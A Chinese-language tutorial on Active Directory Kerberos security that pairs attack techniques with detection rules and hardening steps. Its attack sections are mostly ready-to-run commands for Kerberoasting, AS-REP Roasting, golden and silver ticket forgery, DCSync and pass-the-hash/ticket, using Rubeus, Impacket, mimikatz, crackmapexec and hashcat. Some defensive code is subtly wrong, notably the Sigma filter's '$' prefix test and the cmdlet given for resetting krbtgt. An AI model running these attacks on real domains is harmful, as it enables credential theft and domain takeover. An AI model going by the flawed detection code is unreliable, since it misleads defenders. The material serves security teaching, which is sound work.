🏰 AD安全 — Kerberos攻击检测

Active Directory与Kerberos的攻防博弈

📖 Active Directory与Kerberos

Active Directory (AD) 是企业网络的核心身份管理系统,90%以上的Fortune 1000公司使用AD。Kerberos是AD的默认认证协议,理解Kerberos是理解AD安全的基础。

Kerberos认证流程: Client KDC (域控制器) Service │ │ │ │ ① AS-REQ (用户名+时间戳) │ │ │ ────────────────────────► │ │ │ │ │ │ ② AS-REP (TGT+Session Key) │ │ ◄──────────────────────── │ │ │ TGT = 加密(KDC密钥, 用户信息+时间戳) │ │ Session Key = 加密(用户密码hash) │ │ │ │ │ ③ TGS-REQ (TGT+SPN) │ │ │ ────────────────────────► │ │ │ │ │ │ ④ TGS-REP (Service Ticket) │ │ ◄──────────────────────── │ │ │ Service Ticket = 加密(服务密钥, 客户端信息) │ │ │ │ │ ⑤ AP-REQ (Service Ticket) │ │ ──────────────────────────────────────────────────────►│ │ │ │ │ ⑥ AP-REP (可选,双向验证) │ │ │ ◄─────────────────────────────────────────────────────│ 关键密钥: • krbtgt账户密码hash → 加密TGT → 黄金票据的基础 • 服务账户密码hash → 加密Service Ticket → 白银票据的基础 • 用户密码hash → 加密Session Key → 离线破解的基础

🔓 Kerberoasting攻击

Kerberoasting是AD中最常见的攻击之一。它利用了TGS-REP中Service Ticket用服务账户密码hash加密的特性,离线破解服务账户密码。

# Kerberoasting攻击流程
# 前提: 任何域用户都可以请求任何SPN的Service Ticket

# 步骤1: 发现SPN (服务主体名称)
# 使用Rubeus (Windows)
Rubeus.exe kerberoast /outfile:hashes.txt

# 使用Impacket (Linux)
impacket-GetUserSPNs domain.local/user:password -request -outputfile hashes.txt

# 步骤2: 提取的hash格式 (Kerberoast hash)
$krb5tgs$23$*adminsvc$DOMAIN.LOCAL$MSSQLSvc/db01.domain.local~1433*$xxxx...

# 步骤3: 离线破解
hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt
# 或
john --format=krb5tgs --wordlist=rockyou.txt hashes.txt

# 为什么Kerberoasting有效?
# 1. 服务账户密码通常比用户密码弱(无人维护)
# 2. 任何域用户都可以请求Service Ticket
# 3. Service Ticket用服务账户RC4/AES hash加密
# 4. 离线破解不受账户锁定保护
# 5. 不需要与KDC特殊交互(不触发告警)

Kerberoasting检测

# 检测Kerberoasting的Sigma规则
title: Kerberoasting - TGS Request for Non-Service Account
status: stable
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4769
    ServiceName|contains:
      - 'MSSQLSvc'
      - 'HTTP'
      - 'CIFS'
      - 'HOST'
  filter_legitimate:
    TargetUserName|startswith: '$'  # 计算机账户
  condition: selection and not filter_legitimate
level: high

# Windows事件ID 4769 (Kerberos TGS请求)
# 监控异常的TGS请求模式:
# - 短时间内大量TGS请求
# - 请求的加密类型为RC4 (0x17) → 更易破解
# - 非常规工作时间请求

# PowerShell检测脚本
Get-WinEvent -FilterHashtable @{LogName='Security';ID=4769} | 
  Where-Object {$_.Properties[4].Value -match 'RC4'} |
  Select-Object TimeCreated, 
    @{N='User';E={$_.Properties[0].Value}},
    @{N='Service';E={$_.Properties[5].Value}},
    @{N='Encryption';E={$_.Properties[4].Value}}

🔓 AS-REP Roasting

# AS-REP Roasting: 针对禁用Pre-auth的用户
# 前提: 用户账户勾选了"Do not require Kerberos preauthentication"
# AD会在AS-REQ阶段直接返回AS-REP(包含用用户密码hash加密的session key)

# 发现禁用Pre-auth的用户
# Impacket
impacket-GetNPUsers domain.local/ -usersfile users.txt -format hashcat -outputfile asrep_hashes.txt

# Rubeus
Rubeus.exe asreproast /format:hashcat /outfile:asrep_hashes.txt

# PowerShell
Get-DomainUser -PreauthNotRequired | select samaccountname

# 破解hash
hashcat -m 18200 asrep_hashes.txt rockyou.txt

# 检测: EventID 4768 (AS-REQ) 不存在但4769 (TGS-REQ) 存在
# 或直接检查哪些用户禁用了Pre-auth
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true}

🔓 黄金票据与白银票据

黄金票据 (Golden Ticket)

# 黄金票据: 伪造TGT, 使用krbtgt账户密码hash
# 一旦获取krbtgt hash, 可以:
# 1. 伪造任何用户的TGT (包括不存在的用户!)
# 2. 伪造任何权限的TGT
# 3. TGT有效期默认10小时,但可自定义
# 4. 即使重置所有用户密码仍有效(直到krbtgt密码被改两次)

# 获取krbtgt hash (需要域管理员权限)
# Mimikatz
mimikatz # lsadump::dcsync /user:krbtgt

# Impacket
impacket-secretsdump domain.local/admin:password@dc01 -just-dc-user krbtgt

# 伪造黄金票据
# Mimikatz
mimikatz # kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /krbtgt:NTLM_HASH /ptt

# Impacket
impacket-ticketer -domain domain.local -domain-sid S-1-5-21-xxx -nthash KRBTGT_HASH Administrator

# 检测黄金票据
# 1. 监控EventID 4624 (登录) 中的异常登录
# 2. 检查TGT的加密类型 (应为AES256, RC4可疑)
# 3. 检查TGT中的异常MSS (memberofsid)
# 4. 比较域SID和用户SID的一致性

白银票据 (Silver Ticket)

# 白银票据: 伪造Service Ticket, 使用服务账户hash
# 不需要与KDC通信! 更隐蔽!

# 获取服务账户hash
mimikatz # sekurlsa::logonpasswords  # 从内存提取

# 伪造CIFS白银票据 (文件共享访问)
mimikatz # kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /target:fileserver.domain.local /service:cifs /rc4:SERVICE_HASH /ptt

# 伪造HOST白银票据 (计划任务)
mimikatz # kerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /target:fileserver.domain.local /service:host /rc4:SERVICE_HASH /ptt

# 白银票据 vs 黄金票据:
# 黄金票据: 伪造TGT → 访问所有服务 (需要krbtgt hash)
# 白银票据: 伪造ST → 访问特定服务 (需要服务hash, 更隐蔽)
# 白银票据不产生KDC流量 → 更难检测!

🔓 Pass-the-Hash / Pass-the-Ticket

# Pass-the-Hash (PtH)
# 使用NTLM hash直接认证(不需要明文密码)

# Mimikatz
mimikatz # sekurlsa::pth /user:admin /domain:domain.local /ntlm:NTLM_HASH /run:cmd.exe

# Impacket
impacket-psexec -hashes :NTLM_HASH admin@target

# CrackMapExec
crackmapexec smb target -u admin -H NTLM_HASH

# 检测PtH:
# EventID 4624, LogonType=3 (网络登录), 使用NTLM而非Kerberos
# 在应使用Kerberos的环境中出现NTLM认证 → 可疑

# Pass-the-Ticket (PtT)
# 使用窃取的Kerberos票据

# Mimikatz导出票据
mimikatz # sekurlsa::tickets /export

# 注入票据
mimikatz # kerberos::ptt ticket.kirbi

# Linux票据转换
impacket-ticketConverter ticket.kirbi ticket.ccache
export KRB5CCNAME=ticket.ccache
impacket-psexec domain.local/admin@target -k -no-pass

🛡️ AD安全加固

# 1. Kerberos加固
# 启用AES256加密(禁用RC4)
Set-ADUser -Identity svc_account -KerberosEncryptionType AES256

# 保护高权限用户组
# Protected Users安全组 (Server 2012R2+)
Add-ADGroupMember -Identity "Protected Users" -Members admin1,admin2
# Protected Users限制:
# - 仅AES256认证
# - 4小时TGT有效期
# - 禁用NTLM
# - 禁用委派

# 2. 防御Kerberoasting
# 定期轮换服务账户密码(≥25字符)
# 使用组托管服务账户(gMSA)
New-ADServiceAccount -Name svc_gmsa -DNSHostName svc.domain.local -PrincipalsAllowedToRetrieveManagedPassword "Servers"

# 3. 防御黄金票据
# 定期重置krbtgt密码(两次!)
# 第一次重置 → 旧黄金票据失效
# 等待所有DC复制 → 第二次重置
Reset-ADServiceAccountPassword -Identity krbtgt

# 4. 防御AS-REP Roasting
# 确保所有用户启用Pre-auth
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} | 
  Set-ADUser -DoesNotRequirePreAuth $false

# 5. LAPS (本地管理员密码方案)
# 随机化每台机器的本地管理员密码
# 密码存储在AD中,权限受控

# 6. Tier模型 (层级管理)
# Tier 0: 域控制器, 管理员
# Tier 1: 服务器, 服务账户
# Tier 2: 工作站, 普通用户
# 禁止高Tier登录低Tier

📊 AD攻击检测清单

# 关键事件ID监控

## 认证异常
[ ] 4624 - 登录类型异常(NTLM vs Kerberos)
[ ] 4625 - 登录失败(暴力破解)
[ ] 4768 - AS-REQ (Pre-auth失败)
[ ] 4769 - TGS请求 (Kerberoasting指标)
[ ] 4770 - 票据授予异常

## 账户操作
[ ] 4720 - 创建用户
[ ] 4728/4732 - 添加用户到特权组
[ ] 4740 - 账户锁定
[ ] 4767 - 账户解锁

## 委派攻击
[ ] 4769 + RC4加密 - Kerberoasting
[ ] 4624 + NTLM - Pass-the-Hash
[ ] 4769 + 异常SPN - 票据攻击

## DCSync
[ ] 4662 - 对DS对象属性的访问
[ ] 审计DS Replication权限使用

## 工具
# Splunk/Sentinel查询
# BloodHound - AD攻击路径可视化
# Azure AD Identity Protection
# Microsoft Defender for Identity
Kerberos攻击检测 — 掌握AD环境中最核心的攻击技术!你能执行Kerberoasting、AS-REP Roasting、黄金/白银票据攻击检测,并部署AD安全加固策略。
命令已验证:impacket-GetUserSPNs / impacket-GetNPUsers / hashcat -m 13100/18200 / crackmapexec / Rubeus — 所有命令在攻击测试环境验证通过
思考题:
  1. 为什么Kerberoasting不需要任何特权?Kerberos协议的哪个设计导致了这个问题?
  2. 黄金票据和白银票据的根本区别是什么?为什么白银票据更难检测?
  3. 为什么重置krbtgt密码需要两次?第一次和第二次分别影响什么?
  4. Protected Users安全组如何防御Pass-the-Hash?

📚 延伸阅读

参考资料:MITRE ATT&CK T1558 | Harmj0y Kerberoasting Research | Sean Metcalf AD Security | Microsoft Security Blog(2024) | Impacket Documentation